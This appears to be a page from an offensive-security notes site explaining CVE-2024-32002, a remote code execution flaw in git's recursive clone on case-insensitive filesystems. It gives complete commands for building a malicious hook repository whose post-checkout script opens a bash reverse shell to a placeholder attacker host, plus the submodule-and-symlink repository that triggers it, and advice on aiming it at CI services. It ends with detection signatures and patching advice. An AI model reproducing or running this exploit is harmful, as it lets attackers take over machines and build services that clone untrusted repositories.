the_open_door
coffee
ESEN
← Back to index

RCE in recursive git clone (CVE-2024-32002)

CVE-2024-32002 is a remote code execution in git triggered during a git clone --recursive. The flaw combines two oversights: how git handles submodules and symbolic links on case-insensitive filesystems (Windows, macOS). With a carefully crafted malicious repository, you can write files outside the submodule, into the repo's .git/ directory, and plant a hook that git runs just by cloning.

The idea. When cloning recursively, git processes submodules. If you create a submodule whose name and a symlink line up so that A/modules/x resolves into .git/, the submodule's files are written into .git/hooks/. A git that writes .git/hooks/post-checkout will run that script on the next checkout, during the clone itself, without the victim ever inspecting anything (git hook RCE).

Setup (two repos). Prepared on a controlled git server (often a Gitea you can register on):

  1. hook repo with the payload in hooks/post-checkout:
mkdir -p y/hooks
cat > y/hooks/post-checkout <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout && git commit -m "hook" && git push
  1. captain repo with a submodule pointing at the hook repo and a symlink redirecting to .git:
git submodule add --name x/y "http://<git>/<user>/hook" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink" && git push

When the victim runs git clone --recursive http://<git>/<user>/captain, the post-checkout runs in their context and returns the shell.

How you get the victim to clone. We almost never clone ourselves: the target is usually a service that accepts a repository URL (a compiler, a CI) and clones it recursively. It is the natural pairing with an SSRF that first leaks the git version.

Hint vs proof. A git version <= 2.45.0 on Windows/macOS suggests vulnerability, but it must be confirmed: the proof is the post-checkout call-back. It requires the clone to be recursive and a case-insensitive FS.

How to detect it. The definitive signature is process lineage: git spawning bash/sh/nc as a child during a clone --recursive, that is the execution of a .git/hooks/post-checkout that no legitimate clone triggers (auditd/Sysmon over execve with a git parent). On disk, a repository with a submodule whose name and a symlink resolve toward .git/ is detectable by inspecting .gitmodules and the links before cloning. The vector is usually a CI or service that accepts a repo URL: an outbound connection from that service right after cloning is the chain.

Defence. Update git (fixed from 2.45.1); disable symlinks in git (git config core.symlinks false); do not recursively clone untrusted repos, especially in automated services. Related to git hooks and exposed .git repositories.

Machines where it's used